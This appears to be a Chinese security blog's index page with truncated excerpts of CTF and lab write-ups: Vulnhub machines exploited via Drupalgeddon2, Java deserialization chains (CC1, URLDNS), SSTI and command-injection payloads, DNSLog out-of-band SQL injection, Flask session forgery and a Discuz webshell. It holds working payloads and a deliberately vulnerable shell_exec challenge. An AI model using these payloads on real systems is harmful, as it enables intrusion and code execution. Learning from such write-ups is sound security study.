Vulnhub--DC-1
环境准备官网直接下载zip
信息搜集首先扫描一下主机存活看一下靶机IP,可以使用如下命令arp-scan -l最后确定靶机IP为192.168.75.133可以一个个访问确定,也可以看一下靶机的mac地址确定访问得到如下页面这个Drupal有个远程代码执行的cve为CVE-2018-7600,当然还不知道版本对不对,不过先不急着看这个CVE,用nmap扫描一下开放的端口nmap -A 192.168.75.133利用插件看一下指纹信息,可以看到Drupal版本为7是存在这个CVE漏洞的
flag1直接利用msfconsole来看一下,这里手动弄的话很麻烦,进入msf搜一下这个模块search Drupal直接使用18年的那个CVEuse exploit/unix/webapp/drupal_drupalgeddon2然后查看一下payload执行show payloads可以看到所有payload列出,使用如下payload,这里也可以不设置,我是为了练习一下工具使用set payload php/meterpreter/reverse_tcp然后查看需要配置的参数show optio ...
Vulnhub--Ai-Web1
环境准备直接下载靶机然后解压,VMware上运行vmx文件就行,靶机链接运行靶机会有要密码登录,别管就行,因为渗透已经开始了!!
开始打靶使用netdiscover扫描ip挨个访问,最终发现192.168.75.132这个IP可疑nmap扫描一下这个IP 查看开放端口
123nmap -T4 -sV -O -A -P 192.168.75.132-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口这里其实用-A就可以,主要时熟悉一下参数
可以看到80端口开放也就是我们一开始访问的那个页面,直接扫一下目录存在一个robots.txtemmmm,两个都是403,然后对着这个两个路径扫一下,扫到一个http://192.168.75.132/m3diNf0/info.php网站的绝对路径,然后扫另一个http://192.168.75.132/se3reTdir777这里一开始扫的uploads但是没有东西然后就扫了这个,看wp有的是用的kali下的dirb,涨姿势了以前都不知道这个工具访问index.php,中途断开连接了还以为是题目的设定。。。访问得到下面的 ...
CC链1--LazyMap链
开始分析这里我直接拿cc1的demo改了,首先进入InvokerTransformer下的transform方法然后find usages可以看到LazyMap下也调用了transform方法,直接进去看代码
1234567public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; }
public型get方法调用了transform方法,然后去看factory然后这里同时还有decorate方法和TransformMap 中的 decorate 方法是一样的作用,然后去看这个类的构造函数为protected所以得通过decorate方 ...
Java学习之CC链1
前言感觉最近Java考的用的很多,自己对于Java是0基础,让我迫切想要开始学,看了大佬的学习链是从开发开始,那样感觉就太慢了而且自己对于开发兴趣不大,但是偏偏又离不开开发,只能边学开发边看安全,虽然有点急了但是也没办法了
一点建议如果没有学过Java或者不了解idea的操作的话开始CC链之前强烈建议先跟URLDNS链,把该踩的坑踩了再弄CC链会顺畅很多
环境配置这里我就列一下自己踩的坑,作为一个对Java和idea不熟悉的新手容易犯的错
jdkjdk要求是jdk8u65,在官网我下载的时候选择8u65但是下载的却不是,另外的平台安装会同时安装jdk和jre我们需要的是jdk不要把jre也放在jdk目录下,不然idea导入jdk会失败下载完的目录如下
加入依赖1234567<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</art ...
Java学习之URLDNS链
先放代码,感觉还是自己跟着视频手写一遍更好理解,很多理解放在注释中了
12345678910111213141516171819202122232425262728293031323334import java.lang.reflect.Field; import java.util.HashMap; //入口类 import java.net.URL; //调用链中的类 import java.io.*; public class URLDNS { public static void main(String[] args) throws Exception{ HashMap <URL,Object> hashMap = new HashMap<>(); URL url = new URL("http://vnmkzfpuho.dnstunnel.run"); //通过反射获取到url中的hashcode属性 Fiel ...
SSTI-Lab
level 1前面的试探就不弄了,当然也可以试一下看自己环境有没有问题先给出payload:{{"".__class__.__bases__[0].__subclasses__()[143].__init__.__globals__['popen']("type flag").read()}}这里找的是os._wrap_close通过脚本搜索下标为143,初始化之后可以使用popen来打开flag,这里有一个点卡了我很久,就是"type flag"我一直使用"cat flag"得不到flag,而我一开始是不知道type这个命令的,看到SSTI-Labs靶场 - o2takuXX の blogo2takuXX の blog这篇博客才知道type命令通过GPT的回答应该是由于我在Windows下部署的环境导致的问题,最终使用type得到flag当然可以用的模块很多,可以参考一下网上其它博主的wp,这里就不一一列举了
level 2这一关过滤了{{`可以用`{% %}`来绕 ...
NSSRound 7 Team复现
ec_RCE一个比较简单的题,但是需要看懂代码
123456789101112131415<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW --><!-- By 探姬 --><?PHP if(!isset($_POST["action"]) && !isset($_POST["data"])) show_source(__FILE__); putenv('LANG=zh_TW.utf8'); $action = $_POST["action"]; $data = "'".$_POST["data"]."'"; $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $ ...
DnsLog外带注入学习
应用场景 当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。
DNS是什么DNS原理及其解析过程_king9666的博客-CSDN博客DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将主机名和域名转换为IP地址的工作。DNS就是这样的一位“翻译者”.同时,DNS是一个分布式数据库系统,它提供将域名转换成对应IP地址的信息。这种将名称转换成IP地址的方法称为域名解析。所以在申请域名的时候都要将域名所指向的IP地址提交给NIC。这样就要求你的IP必须是固定的才可以申请域名。简单来说就是将域名解析为ip
然后我们找一个特定的可以记录DNS解析的网站DNSLog Platform这个网站就可以看到DNS解析记录,将回显打到这个网站从而实现注入先看看网站的使用,进入点击Get SubDomain可以获得一个域名然后ping一下这个域名可以看到能 ...
DASCTF X GFCTF 2022十月赛 blogsystem
首先得感谢lengf师傅给解答一些很傻的问题
这个题后面涉及到的知识点之前还没学过,先看看吧进入题目注册一个账号发现admin已经被注册,这里就要想到session伪造,以admin登录要伪造session就得知道key,在Blog路由的flask 基础总结这篇文章找到key然后用工具伪造python flask_session_cookie_manager3.py encode -s 7his_1s_my_fav0rite_ke7 -t "{'_permanent':True,'username':'admin'}"以admin登录会发现多了一个Download路由点进入是一张图片,抓包,存在目录穿越,这里是用.//./绕过,源码过滤方式为.replace('..', '').replace('//', '')源码在app/app.py
12345678910111213141516171819202122232425262 ...
7字符rce题目搭建
搭建这个题目本意就是想学习一下dockerfile和docker-compose.yml文件的使用,原理讲的不透彻,主要记录一下操作
首先在本地把解题的源码写完,再上传到服务器files下放的是flag.php和index.php
1234567891011//index.php<?php highlight_file(__FILE__);if(strlen($_GET[1])<=7){ echo strlen($_GET[1]); echo '<hr/>'; echo shell_exec($_GET[1]);}else{ exit('too long');}?>
if(strlen($_GET[1])<=7)这里我一开始测试用的小于8,然后这里改了也没再测试,意思都一样,然后网上这里用的小于7,这样的话7字符根本就过不了言归正传,我们先看一下dockerfile
1234567891011FROM ctftraining/base_image_ngi ...
学习搭建一个简单题
前言关于用docker出题的文章实在是太少了,所以自己在学习的时候记录一下docker的一些基本搭建在这里就不一一说明了,这里只记录一下如何把一个题目弄出来,可能有些地方也有错误
进入主题按我自己的理解就是先拉取一个镜像用来布置题目所需的环境以及容器所需我这里使用ctftraining/base_image_nginx_mysql_php_73 这个镜像一开始我用的tutum/lamp但是发现这个镜像有点问题不能显示中文,可能是dockerfile没设置拉取镜像docker pull ctftraining/base_image_nginx_mysql_php_73 这里我已经拉取了,所以列一下然后使用ctftraining/base_image_nginx_mysql_php_73镜像启动一个容器,同时映射到服务器的2333端口 docker run -d -p 2333:80 ctftraining/base_image_nginx_mysql_php_73可以看到已经启动了一个容器,然后就是弄出题文件了,先上传到服务器的/var/www/h ...
弱口令招新赛wp(部分)
web签到小能手直接扫目录发现有个index.php.bak下载打开得到
开胃菜ls根目录看到flag然后cat,这里好像可以忽略空格,可能是非预期吧,这里也可以用nl直接出来
小镇做题家扫出来robots.txt,访问/GAME/index.html查看js代码base64解码访问/GAME/f14g_in_there_hha/index.php然后GAME/f14g_in_there_hha/index.php?payload=;cat%09/*
Discuz参考这篇文章(Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞复现 - 腾讯云开发者社区-腾讯云 (tencent.com))直接访问存在漏洞的地方但是在tid这里困了很久然后一直找终于又找到一篇博客(discuz7.2漏洞复现–python编写poc - FreeBuf网络安全行业门户)
直接tid改为10,运气不错拿到shell接下来把webshell写入,payload:
1GLOBALS[_DCACHE] ...